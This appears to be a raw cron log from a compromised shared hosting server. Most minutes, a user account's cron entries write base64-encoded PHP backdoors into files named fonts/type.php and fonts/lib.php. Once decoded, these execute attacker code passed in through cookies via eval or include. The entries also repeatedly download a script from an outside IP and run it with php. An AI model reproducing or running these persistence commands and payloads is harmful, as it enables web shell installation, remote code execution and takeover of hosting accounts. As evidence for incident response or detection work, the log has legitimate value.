Sep  4 23:30:01 ip-184-168-122-23 CROND[5024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:31:02 ip-184-168-122-23 CROND[5122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:31:02 ip-184-168-122-23 CROND[5125]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:31:02 ip-184-168-122-23 CROND[5124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:31:02 ip-184-168-122-23 CROND[5127]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 23:31:02 ip-184-168-122-23 CROND[5126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:32:01 ip-184-168-122-23 CROND[5212]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:32:01 ip-184-168-122-23 CROND[5216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:32:01 ip-184-168-122-23 CROND[5214]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:32:01 ip-184-168-122-23 CROND[5215]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:32:01 ip-184-168-122-23 CROND[5217]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:33:01 ip-184-168-122-23 CROND[5300]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:33:01 ip-184-168-122-23 CROND[5303]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:33:01 ip-184-168-122-23 CROND[5302]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:33:01 ip-184-168-122-23 CROND[5304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:34:01 ip-184-168-122-23 CROND[5421]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:34:01 ip-184-168-122-23 CROND[5422]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:34:01 ip-184-168-122-23 CROND[5419]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:34:01 ip-184-168-122-23 CROND[5420]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:34:01 ip-184-168-122-23 CROND[5423]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:35:01 ip-184-168-122-23 CROND[5518]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:35:01 ip-184-168-122-23 CROND[5520]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 23:35:01 ip-184-168-122-23 CROND[5519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:35:01 ip-184-168-122-23 CROND[5523]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:35:01 ip-184-168-122-23 CROND[5521]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 23:35:01 ip-184-168-122-23 CROND[5522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:35:01 ip-184-168-122-23 CROND[5527]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:35:01 ip-184-168-122-23 CROND[5528]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:36:01 ip-184-168-122-23 CROND[5616]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:36:01 ip-184-168-122-23 CROND[5617]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:36:01 ip-184-168-122-23 CROND[5619]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:36:01 ip-184-168-122-23 CROND[5618]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:36:01 ip-184-168-122-23 CROND[5620]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:37:01 ip-184-168-122-23 CROND[5715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:37:01 ip-184-168-122-23 CROND[5713]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:37:01 ip-184-168-122-23 CROND[5714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:37:01 ip-184-168-122-23 CROND[5716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:38:01 ip-184-168-122-23 CROND[5870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:38:01 ip-184-168-122-23 CROND[5871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:38:01 ip-184-168-122-23 CROND[5872]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:38:01 ip-184-168-122-23 CROND[5873]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:38:01 ip-184-168-122-23 CROND[5878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:39:02 ip-184-168-122-23 CROND[5967]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:39:02 ip-184-168-122-23 CROND[5965]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:39:02 ip-184-168-122-23 CROND[5968]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 23:39:02 ip-184-168-122-23 CROND[5966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:39:02 ip-184-168-122-23 CROND[5969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:40:02 ip-184-168-122-23 CROND[6096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:40:02 ip-184-168-122-23 CROND[6095]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 23:40:02 ip-184-168-122-23 CROND[6099]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 23:40:02 ip-184-168-122-23 CROND[6097]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:40:02 ip-184-168-122-23 CROND[6098]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 23:40:02 ip-184-168-122-23 CROND[6100]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:40:02 ip-184-168-122-23 CROND[6101]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:40:02 ip-184-168-122-23 CROND[6102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:41:01 ip-184-168-122-23 CROND[6199]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:41:01 ip-184-168-122-23 CROND[6201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:41:01 ip-184-168-122-23 CROND[6202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 23:41:01 ip-184-168-122-23 CROND[6200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:42:01 ip-184-168-122-23 CROND[6280]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 23:42:01 ip-184-168-122-23 CROND[6282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 23:42:01 ip-184-168-122-23 CROND[6284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 23:42:01 ip-184-168-122-23 CROND[6283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 23:42:01 ip-184-168-122-23 CROND[6285]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
